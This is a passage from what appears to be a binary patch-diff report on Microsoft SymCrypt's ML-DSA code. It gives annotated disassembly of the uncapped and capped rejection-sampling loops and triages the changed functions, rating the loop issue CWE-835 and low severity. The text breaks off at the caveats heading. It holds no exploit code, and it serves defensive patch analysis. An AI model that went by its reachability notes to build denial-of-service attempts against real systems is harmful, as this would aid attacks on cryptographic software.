&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;D8D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="n"&gt;FE001h&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;compare&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;against&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8380417&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;D92&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_180096D6E&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;D94&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;accepted&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;coefficient&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;D96&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;D9A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;decrement&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;output&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;ONLY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;accept&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;D9E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_180096D6E&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;only&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reaching&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CWE&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;835&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Assembly (patched &lt;code&gt;SymCryptMlDsaRejNttPoly @ 0x18009AA84&lt;/code&gt;), added cap:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;000000018009&lt;/span&gt;&lt;span class="n"&gt;AAC1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r14d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ADDED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;iteration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;counter&lt;/span&gt;
&lt;span class="mi"&gt;000000018009&lt;/span&gt;&lt;span class="n"&gt;AAFF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;output&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;index&lt;/span&gt;
&lt;span class="mi"&gt;000000018009&lt;/span&gt;&lt;span class="n"&gt;AB01&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r14d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="n"&gt;Ah&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;loc_18009AB01&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;298&lt;/span&gt;
&lt;span class="mi"&gt;000000018009&lt;/span&gt;&lt;span class="n"&gt;AB08&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_18009AB45&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x12A&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;out&lt;/span&gt;
&lt;span class="mi"&gt;000000018009&lt;/span&gt;&lt;span class="n"&gt;AB1B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SymCryptKeccakExtract&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;squeeze&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;
&lt;span class="mi"&gt;000000018009&lt;/span&gt;&lt;span class="n"&gt;AB20&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+140h+var_120+2&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="n"&gt;Fh&lt;/span&gt;
&lt;span class="mi"&gt;000000018009&lt;/span&gt;&lt;span class="n"&gt;AB25&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r14d&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14d&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;EVERY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;iteration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unconditional&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;000000018009&lt;/span&gt;&lt;span class="n"&gt;AB28&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+140h+var_120&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;000000018009&lt;/span&gt;&lt;span class="n"&gt;AB2C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="n"&gt;FE001h&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;compare&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;against&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;
&lt;span class="mi"&gt;000000018009&lt;/span&gt;&lt;span class="n"&gt;AB31&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_18009AB01&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;check&lt;/span&gt;
&lt;span class="mi"&gt;000000018009&lt;/span&gt;&lt;span class="n"&gt;AB33&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;accepted&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;coefficient&lt;/span&gt;
&lt;span class="mi"&gt;000000018009&lt;/span&gt;&lt;span class="n"&gt;AB35&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;accept&lt;/span&gt;
&lt;span class="mi"&gt;000000018009&lt;/span&gt;&lt;span class="n"&gt;AB37&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="mi"&gt;000000018009&lt;/span&gt;&lt;span class="n"&gt;AB3B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;
&lt;span class="mi"&gt;000000018009&lt;/span&gt;&lt;span class="n"&gt;AB41&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_18009AB01&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x100&lt;/span&gt;
&lt;span class="mi"&gt;000000018009&lt;/span&gt;&lt;span class="n"&gt;AB45&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8008&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;loc_18009AB45&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SymCrypt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x8008&lt;/span&gt;
&lt;span class="mi"&gt;000000018009&lt;/span&gt;&lt;span class="n"&gt;AB4A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;0x8008&lt;/code&gt; is a SymCrypt error code (not an NTSTATUS), returned in &lt;code&gt;edi&lt;/code&gt;/&lt;code&gt;eax&lt;/code&gt; on the capped path — the same error convention used by the &lt;code&gt;SymCryptMlDsaRejBoundedPoly&lt;/code&gt; fix above.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;8. Changed Functions — Full Triage&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Note: Several changes represent register relocations and refactoring of validation routines.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SymCryptMlDsaRejBoundedPoly (sub_180096b4c)&lt;/code&gt; (0.9187 similarity):&lt;/strong&gt; &lt;strong&gt;[Hardening]&lt;/strong&gt; Added an independent iteration counter (&lt;code&gt;esi&lt;/code&gt;) with a hard cap of 481 (&lt;code&gt;0x1E1&lt;/code&gt;, &lt;code&gt;cmp esi,1E1h&lt;/code&gt; at &lt;code&gt;0x18009A93E&lt;/code&gt;) to bound the rejection-sampling loop, returning error &lt;code&gt;0x8008&lt;/code&gt; if exceeded (&lt;code&gt;mov edi,8008h&lt;/code&gt; at &lt;code&gt;0x18009AA41&lt;/code&gt;). The bounded value (&lt;code&gt;eta&lt;/code&gt; at &lt;code&gt;params+0x16&lt;/code&gt;) is a static per-parameter-set constant, so this is defensive robustness, not an attacker-reachable fix. CWE-835, low severity.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SymCryptMlDsaRejNttPoly (sub_180096cec)&lt;/code&gt; (patched &lt;code&gt;sub_18009aa84&lt;/code&gt;):&lt;/strong&gt; &lt;strong&gt;[Hardening]&lt;/strong&gt; Added an independent iteration counter (&lt;code&gt;r14d&lt;/code&gt;) with a hard cap of 298 (&lt;code&gt;0x12A&lt;/code&gt;, &lt;code&gt;cmp r14d,12Ah&lt;/code&gt; at &lt;code&gt;0x18009AB01&lt;/code&gt;) to bound the NTT-domain rejection-sampling loop, returning error &lt;code&gt;0x8008&lt;/code&gt; if exceeded (&lt;code&gt;mov edi,8008h&lt;/code&gt; at &lt;code&gt;0x18009AB45&lt;/code&gt;). The unpatched loop (back-edge &lt;code&gt;jnz loc_180096D6E&lt;/code&gt; at &lt;code&gt;0x180096D9E&lt;/code&gt;, reject back-edge &lt;code&gt;jnb loc_180096D6E&lt;/code&gt; at &lt;code&gt;0x180096D92&lt;/code&gt;) has no iteration counter and can exit only by accepting 256 coefficients. The SHAKE-128 seed (&lt;code&gt;rho&lt;/code&gt;) is attacker-controlled via imported public-key material, but pathological rejection is computationally infeasible to force. CWE-835, low severity. See section 7a.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SymCryptMlDsaPkDecode (sub_18009632c)&lt;/code&gt; (0.938 similarity):&lt;/strong&gt; &lt;strong&gt;[Behavioral]&lt;/strong&gt; Added validation of the count field at &lt;code&gt;*(arg4+0xc0)&lt;/code&gt; prior to entering a multi-precision scalar multiplication loop, plus error-path propagation and cleanup for the &lt;code&gt;SymCryptMlDsaExpandA&lt;/code&gt; call. Hardening against use of uninitialized crypto state. (This function is also the untrusted entry point that reaches &lt;code&gt;SymCryptMlDsaRejNttPoly&lt;/code&gt; via &lt;code&gt;SymCryptMlDsaExpandA&lt;/code&gt;; see section 7a.)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SymCryptMlDsaVerifyEx (sub_180089d9c)&lt;/code&gt; (0.9221 similarity):&lt;/strong&gt; &lt;strong&gt;[Behavioral]&lt;/strong&gt; Refactored ML-DSA signature-verification parameter validation. Centralized inline size checks into a dedicated signature-decode routine plus an infinity-norm bound check.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;MSCryptMlDsaVerifySignature (sub_180074a60) / MSCryptMlDsaSignHash (sub_180074800)&lt;/code&gt; (0.7368 similarity):&lt;/strong&gt; &lt;strong&gt;[Behavioral]&lt;/strong&gt; Refactored dispatch: replaced string-based cipher/hash mode lookups with direct integer type codes and added an upper-bounds check for RSA key sizes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;GetBlobInfo (sub_180075114)&lt;/code&gt; (0.0937 similarity):&lt;/strong&gt; &lt;strong&gt;[Cosmetic]&lt;/strong&gt; Rewrite of algorithm type validation using magic-value comparisons instead of string table iteration.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SymCryptRsakeyGenerate (sub_1800860e8)&lt;/code&gt; (0.9933 similarity):&lt;/strong&gt; &lt;strong&gt;[Cosmetic]&lt;/strong&gt; Register/call-target relocation between builds. Passes an extra &lt;code&gt;0&lt;/code&gt; argument to the &lt;code&gt;SymCryptRsakeyCalculatePrivateFields&lt;/code&gt; call.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SymCryptRsakeyCalculatePrivateFields (sub_18002ce54)&lt;/code&gt; (0.7495 similarity):&lt;/strong&gt; &lt;strong&gt;[Behavioral]&lt;/strong&gt; Added a new &lt;code&gt;flags&lt;/code&gt; parameter (&lt;code&gt;arg7&lt;/code&gt;) to the RSA private-field computation, returning SymCrypt error &lt;code&gt;0x800E&lt;/code&gt; (invalid argument) if disallowed flag bits are set.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;9. Unmatched Functions&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Added:&lt;/strong&gt; 0&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Removed:&lt;/strong&gt; 0&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;No functions were entirely added or removed; all modifications were applied inline to existing cryptographic routines.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;10. Confidence &amp;amp; Caveats&lt;/h3&gt;
&lt;ul&gt;
